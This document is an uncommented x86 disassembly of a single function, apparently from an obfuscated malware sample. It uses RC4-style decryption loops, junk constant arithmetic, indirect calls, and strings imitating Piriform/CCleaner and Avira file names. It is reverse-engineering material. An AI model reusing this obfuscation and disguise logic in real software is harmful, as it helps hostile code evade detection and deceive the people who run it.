jmp 0x10009879
push ecx
push ecx
call fcn.10007fc4
and dword [0x1002668c], 0x6eb33861
pop ecx
pop ecx
mov eax, dword [0x100266d8]
mov ecx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
add eax, 0xe952b97c
mov dword [0x100265d0], eax
call fcn.10007e6e
jmp 0x1000a300
imul eax, dword [0x100265d0], 0x1202271c
lea edx, [ebp - 0xf0]
mov ecx, dword [ebp - 0x6c]
push esi
push edi
mov dword [0x1002668c], eax
call fcn.1001ab39
call eax
xor ecx, ecx
mov eax, ecx
inc eax
cmp eax, 0x1299
jg 0x100098ce
cmp byte [eax + 0x1001ee00], cl
jne 0x100098bc
jmp 0x100098dc
push ecx
push ecx
mov edx, 0x1001ee00
call fcn.1000806a
pop ecx
pop ecx
mov esi, dword [0x1002668c]
mov edi, esi
xor edi, 0xc3c361e1
mov dword [ebp - 0x10], edi
mov dword [0x100265d0], edi
mov ecx, 0x100265c0
add esi, 0x1c468ee2
call fcn.100084f9
push 0x46
mov edx, 0x12de
mov eax, str.FileKey12_CommonAppData_AviraAntivirus.tmp
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x1f8a
ja 0x1000993b
movzx ecx, word [eax]
test ecx, ecx
jne 0x10009910
or edi, 0xbb36c66b
mov dword [ebp - 0x10], edi
mov dword [0x100265d0], edi
mov edi, dword [0x100266d8]
jmp 0x10009955
mov edi, dword [0x100266d8]
or edi, 0xf2d7d3da
mov dword [0x100266d8], edi
mov esi, edi
or esi, 0xfc923251
xor esi, 0xa151576
mov dword [0x1002668c], esi
call fcn.10007a7d
mov eax, dword [ebp - 0x2c]
lea edx, [ebp - 0x70]
push dword [ebp - 0xac]
mov ecx, dword [ebp - 0xc]
mov byte [ebp - 0x70], al
mov eax, dword [ebp - 0x94]
mov byte [ebp - 0x6f], al
mov eax, dword [ebp - 0x98]
mov byte [ebp - 0x6e], al
mov eax, dword [ebp - 0xb0]
mov byte [ebp - 0x6d], al
mov eax, dword [ebp - 0x9c]
mov byte [ebp - 0x6c], al
mov eax, dword [ebp - 0xa0]
mov byte [ebp - 0x6b], al
mov eax, dword [ebp - 0xa4]
mov byte [ebp - 0x6a], al
mov eax, dword [ebp - 0xa8]
mov byte [ebp - 0x69], al
call fcn.1001324a
pop ecx
cmp eax, dword [ebp - 0xb8]
je 0x10009a4a
push 0x2e
pop edx
push 2
imul ecx, esi, 0xcbe9e6be
pop edi
lea eax, [edx - 0x30]
push 9
pop edx
cmp ax, dx
ja 0x100099f4
mov eax, dword [ebp - 0x44]
add eax, edi
mov dword [ebp - 0x44], eax
movzx eax, word [eax]
mov edx, eax
test ax, ax
jne 0x100099d5
jmp 0x10009a00
imul esi, ecx, 0x12411fcd
mov dword [0x1002668c], esi
mov dword [ebp - 0x3c], 0x1d
xor esi, 0xbca734d7
mov dword [ebp - 0x38], 0x31
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x30], 0xffffffaf
movups xmm1, xmmword [ebp - 0x3c]
mov dword [0x100265d0], esi
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
inc eax
jmp 0x1000a300
mov eax, dword [ebp - 0xb4]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x84]
cmp eax, dword [ebp - 0x80]
je 0x1000a2e7
push 0x5e
pop eax
push 0x47
pop ecx
push 7
pop edx
mov dword [ebp - 0x128], eax
mov dword [ebp - 0x148], eax
mov eax, 0xffffff26
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0x30], eax
push 0x30
pop eax
mov dword [ebp - 0x19c], eax
mov dword [ebp - 0x1a8], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x12c], 0x53
mov dword [ebp - 0x124], ecx
mov dword [ebp - 0x120], 0xfffffedb
mov dword [ebp - 0x13c], edx
mov dword [ebp - 0x138], 0x2b
mov dword [ebp - 0x134], 0x37
mov dword [ebp - 0x130], 0xffffff8f
mov dword [ebp - 0x28], 0x29
mov dword [ebp - 0x24], 0x39
mov dword [ebp - 0x20], 0xffffffce
mov dword [ebp - 0x14c], 0x45
mov dword [ebp - 0x144], 0x3c
mov dword [ebp - 0x140], 0xffffff21
mov dword [ebp - 0x194], 0x64
mov dword [ebp - 0x190], 0x3f
mov dword [ebp - 0x18c], 0xffffffed
mov dword [ebp - 0xcc], 0x23
mov dword [ebp - 0xc8], 0x2a
mov dword [ebp - 0xc4], 0x2f
mov dword [ebp - 0x16c], 0x14
mov dword [ebp - 0x168], 0x31
mov dword [ebp - 0x164], 0x1d
mov dword [ebp - 0x160], 0xffffff4b
mov dword [ebp - 0x3c], 0x5f
mov dword [ebp - 0x38], 0x2c
mov dword [ebp - 0x34], 0x17
mov dword [ebp - 0x1a0], 0x3c
mov dword [ebp - 0x198], 0xffffffe4
mov dword [ebp - 0x15c], 0x50
mov dword [ebp - 0x158], 0xf
mov dword [ebp - 0x154], 0x22
mov dword [ebp - 0x150], 0xffffff52
mov dword [ebp - 0x1ac], edx
mov dword [ebp - 0x1a4], 0xffffffe9
mov dword [ebp - 0x1c], 0x164e3842
mov dword [ebp - 0x11c], 0x54
mov dword [ebp - 0x118], 0x15
mov dword [ebp - 0x114], 0x1e
mov dword [ebp - 0x110], 0xffffffa5
mov dword [ebp - 0xd8], ecx
mov dword [ebp - 0xd4], 0xffffffb5
mov dword [ebp - 0xe0], 0x60
mov dword [ebp - 0xdc], 0xffffff5e
movups xmm0, xmmword [ebp - 0x12c]
push 0x46
movups xmm5, xmmword [ebp - 0x11c]
mov dword [ebp - 8], 0x10f1
movups xmm4, xmmword [ebp - 0x15c]
pop edx
movups xmm7, xmmword [ebp - 0x3c]
movups xmm6, xmmword [ebp - 0x16c]
movups xmm3, xmmword [ebp - 0x14c]
movups xmm2, xmmword [ebp - 0x13c]
movups xmm1, xmm0
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd ecx, xmm1
add ecx, 0x31
mov dword [ebp - 0xb4], ecx
mov ecx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
add dword [ebp - 8], edx
lea ecx, [ecx + 2]
cmp dword [ebp - 8], 0xd2e
ja 0x10009c9a
movzx edx, word [ecx]
test edx, edx
jne 0x10009c82
jmp 0x10009ca2
mov esi, eax
xor esi, 0xbdbe8d34
sub edi, 0x20736886
or esi, 0x542d8516
xor eax, eax
inc eax
cmp eax, 0x13dd
jg 0x10009cc3
cmp byte [eax + 0x1001ee00], 0
jne 0x10009cb0
jmp 0x10009cd7
push esi
mov edx, esi
mov ecx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
call fcn.100078cc
pop ecx
imul esi, edi, 0xd735b419
or esi, 0xa06e6ecd
mov eax, edi
xor eax, 0x4ca5a2e
mov dword [ebp - 0x44], eax
call fcn.10007a7d
movups xmm1, xmm2
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
push 0xc
movd eax, xmm1
pop ecx
push 0x34
add eax, ecx
xor edx, edx
mov dword [ebp - 0xb8], eax
mov eax, edx
pop ecx
sub ecx, dword [ebp + eax*4 - 0x28]
inc eax
cmp eax, 3
jl 0x10009d1d
mov dword [ebp - 0xac], ecx
mov eax, edx
inc eax
cmp eax, 0x1001
jl 0x10009d5a
cmp byte [eax + 0x1001ee00], dl
jne 0x10009d2f
cmp eax, 0x237c
jle 0x10009d63
mov ecx, esi
call fcn.10008290
mov esi, dword [ebp - 0x44]
and esi, 0xed359bdb
xor edx, edx
jmp 0x10009d63
mov esi, dword [ebp - 0x44]
add esi, 0x9c05a967
movzx eax, byte [0x100265c0]
add esi, 0x3295207d
mov dword [ebp - 0x2c], 0x1c
mov dword [ebp - 0x7c], 8
mov dword [ebp - 0x78], 0x55
mov dword [ebp - 0x74], 0x32
mov dword [ebp - 0x70], 0x51
mov dword [ebp - 0x6c], 0xffffff38
mov dword [ebp - 0x44], edx
mov dword [ebp - 0x84], eax
push edi
mov ecx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
xor esi, 0xdf05f23e
call fcn.10007b43
mov eax, dword [ebp - 0x44]
pop ecx
mov ecx, dword [ebp - 0x2c]
sub ecx, dword [ebp + eax*4 - 0x7c]
inc eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x44], eax
cmp eax, 5
jl 0x10009da3
push 0x2e
mov dword [ebp - 0x80], esi
mov edx, 0x13a7
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x12b5
ja 0x10009df1
movzx ecx, word [eax]
test ecx, ecx
jne 0x10009ddb
jmp 0x10009df6
call fcn.10007a7d
mov eax, esi
mov edx, esi
xor eax, 0xea81f21a
mov ecx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
push eax
call fcn.100078cc
xorps xmm1, xmm1
xor edx, edx
psubd xmm1, xmm3
xorps xmm2, xmm2
movaps xmm0, xmm1
mov eax, edx
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
pop ecx
paddd xmm1, xmm0
mov ecx, 0xa8
movd dword [ebp - 0xa0], xmm1
sub ecx, dword [ebp + eax*4 - 0x194]
inc eax
cmp eax, 3
jl 0x10009e3e
mov dword [ebp - 0x10], 0x5f
lea edi, [esi + 0x107ee4f3]
mov eax, edx
mov dword [ebp - 0x9c], ecx
lea edx, [esi + 0x2841e40a]
mov esi, dword [ebp - 0x10]
add esi, dword [ebp + eax*4 - 0xcc]
lea ecx, [edi - 0x55c0b7fd]
inc eax
mov dword [ebp - 8], ecx
mov edi, edx
cmp eax, 4
jl 0x10009e69
mov edx, dword [ebp - 0x84]
mov ecx, 0x136f
mov dword [ebp - 0x10], esi
mov eax, 0x100265c0
mov esi, dword [ebp - 0x80]
jmp 0x10009ea7
add ecx, edx
inc eax
cmp ecx, 0x22c2
ja 0x10009ead
movzx edx, byte [eax]
test edx, edx
jne 0x10009e99
jmp 0x10009eb8
and esi, 0x2265aff7
call fcn.10007d13
xor edi, 0xcc51017f
mov eax, dword [ebp - 8]
mov edx, esi
xor eax, 0x45f120e4
mov ecx, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
push eax
mov dword [ebp - 8], eax
call fcn.100078cc
pop ecx
xor edx, edx
mov ecx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
mov eax, edx
inc eax
lea ecx, [ecx + 2]
cmp eax, 0x4b
je 0x10009efe
cmp word [ecx], dx
jne 0x10009ee0
cmp eax, 0x236a
jle 0x10009efe
imul edi, dword [ebp - 8], 0x6fd06d23
jmp 0x10009f04
and edi, 0x147e1f80
movaps xmm1, xmm2
mov esi, edi
paddd xmm1, xmm6
xor esi, 0x31b2a84f
movaps xmm0, xmm1
mov edx, 0x235e
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
movaps xmm1, xmm2
paddd xmm1, xmm7
movaps xmm0, xmm1
psrldq xmm0, 8
add eax, 0x63
paddd xmm1, xmm0
mov dword [ebp - 0xa4], eax
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
push 0x3a
movd eax, xmm1
pop ecx
push 0x2e
add eax, ecx
mov dword [ebp - 0x84], eax
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
pop ecx
add edx, ecx
lea eax, [eax + 2]
cmp edx, 0x32e
ja 0x10009f89
movzx ecx, word [eax]
test ecx, ecx
jne 0x10009f73
jmp 0x10009f91
mov edi, esi
or edi, 0xf3905979
imul edx, edi, 0x5aab1295
imul eax, edx, 0xc683f7d
push 0x58
pop ecx
mov dword [0x100266d8], eax
xor eax, eax
sub ecx, dword [ebp + eax*4 - 0x1a0]
inc eax
cmp eax, 3
jl 0x10009fa7
mov dword [ebp - 0xa8], ecx
xor eax, eax
mov ecx, str.FileKey12_CommonAppData_AviraAntivirus.tmp
xor esi, esi
add ecx, 2
inc eax
cmp eax, 0xe50
je 0x10009fe3
cmp word [ecx], si
jne 0x10009fc3
cmp eax, 0x2163
jle 0x10009fea
push ecx
call fcn.100082ea
pop ecx
jmp 0x10009fea
mov ecx, edx
call fcn.10007fae
imul esi, dword [ebp - 8], 0x1d1b6ad7
mov eax, str.._AV__CCustomBorderImpl_VCSystemRestoreListView___Piriform__
add esi, 0x439c2ccb
xor edx, edx
mov ecx, edx
inc ecx
lea eax, [eax + 2]
cmp ecx, 0xb1e
jg 0x1000a013
cmp word [eax], dx
jne 0x1000a000
jmp 0x1000a018
call fcn.10007f2c
or esi, 0xd5068312
mov dword [ebp - 0x4c], esi
mov ecx, 0x1001ee00
call fcn.100084f9
movaps xmm1, xmm2
paddd xmm1, xmm4
movaps xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
push 0x24
pop ecx
add eax, 0x30
xor edx, edx
mov dword [ebp - 0xb0], eax
mov eax, edx
sub ecx, dword [ebp + eax*4 - 0x1ac]
inc eax
cmp eax, 3
jl 0x1000a05e
mov dword [ebp - 0x98], ecx
mov eax, edx
mov ecx, edx
mov dword [ebp - 0x180], 0x54
mov dword [ebp - 0x17c], 0x5a
mov dword [ebp - 0x178], 0x20
mov dword [ebp - 0x174], 0x16
mov dword [ebp - 0x170], 0xffffff1c
sub ecx, dword [ebp + eax*4 - 0x180]
inc eax
cmp eax, 5
jl 0x1000a0a7
mov esi, str.indentation
mov dword [ebp - 0x94], ecx
lea edi, [ebp - 0x5c]
mov dword [ebp - 0x44], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov eax, dword [ebp - 0x4c]
xor eax, 0x20433f5f
mov dword [ebp - 0x80], eax
mov dword [0x100265d0], eax
mov eax, edx
mov byte [ebp + eax - 0x2ac], al
inc eax
cmp eax, 0x100
jb 0x1000a0da
mov esi, edx
xor edx, edx
mov cl, byte [ebp + esi - 0x2ac]
mov eax, esi
mov byte [ebp - 1], cl
div dword [ebp - 0xf4]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x5c]
add eax, dword [ebp - 0x44]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x44], ecx
mov al, byte [ebp + ecx - 0x2ac]
mov byte [ebp + esi - 0x2ac], al
inc esi
mov al, byte [ebp - 1]
mov byte [ebp + ecx - 0x2ac], al
cmp esi, 0x100
jb 0x1000a0eb
xor eax, eax
mov dword [ebp - 8], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 8]
mov cl, byte [ebp + edi - 0x2ac]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 8], eax
mov al, byte [ebp + eax - 0x2ac]
mov byte [ebp + edi - 0x2ac], al
mov eax, dword [ebp - 8]
mov byte [ebp + eax - 0x2ac], cl
movzx eax, byte [ebp + edi - 0x2ac]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x2ac]
xor al, byte [ebp + esi - 0x1c]
mov byte [ebp + esi - 0x8c], al
inc esi
cmp esi, 4
jb 0x1000a13c
mov edi, dword [ebp - 0x4c]
movaps xmm1, xmm2
psubd xmm1, xmm5
xor edx, edx
movaps xmm0, xmm1
mov byte [ebp - 0x88], dl
psrldq xmm0, 8
paddd xmm1, xmm0
movups xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd eax, xmm1
push 4
pop ecx
add eax, 0x30
add edi, 0x12bfccf3
mov dword [ebp - 0x6c], eax
mov eax, edx
mov dword [0x1002668c], edi
add ecx, dword [ebp + eax*4 - 0xd8]
inc eax
cmp eax, 2
jl 0x1000a1d9
mov dword [ebp - 0x90], ecx
mov eax, edx
mov ecx, dword [ebp - 0x80]
push 0x46
or ecx, 0xf37ed6f6
pop esi
mov dword [0x100266d8], ecx
add esi, dword [ebp + eax*4 - 0xe0]
inc eax
cmp eax, 2
jl 0x1000a200
push dword [ebp - 0xb4]
mov edi, dword [ebp - 0xc]
lea eax, [ebp - 0x14]
push edi
push eax
call fcn.10012cfc
push dword [ebp - 0xac]
add edi, dword [ebp - 0xb8]
lea eax, [ebp - 0x18]
push edi
push eax
call fcn.10012cfc
mov eax, dword [ebp - 0x84]
mov ecx, dword [ebp - 0xa8]
push dword [ebp - 0x98]
add edi, dword [ebp - 0x2c]
movzx edx, byte [ebp + eax - 0x14]
mov eax, dword [ebp - 0x10]
shl edx, cl
mov ecx, dword [ebp - 0xa4]
movzx eax, byte [ebp + eax - 0x14]
shl eax, cl
mov ecx, dword [ebp - 0x9c]
or edx, eax
mov eax, dword [ebp - 0xa0]
movzx eax, byte [ebp + eax - 0x14]
shl eax, cl
lea ecx, [ebp - 0x18]
or edx, eax
mov eax, dword [ebp - 0xb0]
movzx eax, byte [ebp + eax - 0x14]
or edx, eax
mov dword [ebp - 8], edx
mov edx, dword [ebp + 0xc]
call fcn.1001324a
add esp, 0x1c
cmp eax, dword [ebp - 0x94]
je 0x1000a2d9
push dword [ebp - 0x6c]
lea edx, [ebp - 0x8c]
lea ecx, [ebp - 0x18]
call fcn.1001324a
pop ecx
cmp eax, dword [ebp - 0x90]
je 0x1000a2e7
mov eax, dword [ebp - 8]
add eax, esi
mov esi, dword [0x1002668c]
add edi, eax
mov eax, dword [0x100265d0]
mov dword [ebp - 0xc], edi
mov edi, dword [0x100266d8]
jmp 0x10009c20
push dword [ebp + 0x10]
mov edx, dword [ebp - 8]
mov ecx, edi
call fcn.1000865b
pop ecx
push dword [ebp - 0xbc]
mov ecx, dword [ebp - 0x60]
lea edx, [ebp - 0x10c]
call fcn.1001ab39
call eax
mov eax, dword [ebp - 8]
pop edi
pop esi
leave
ret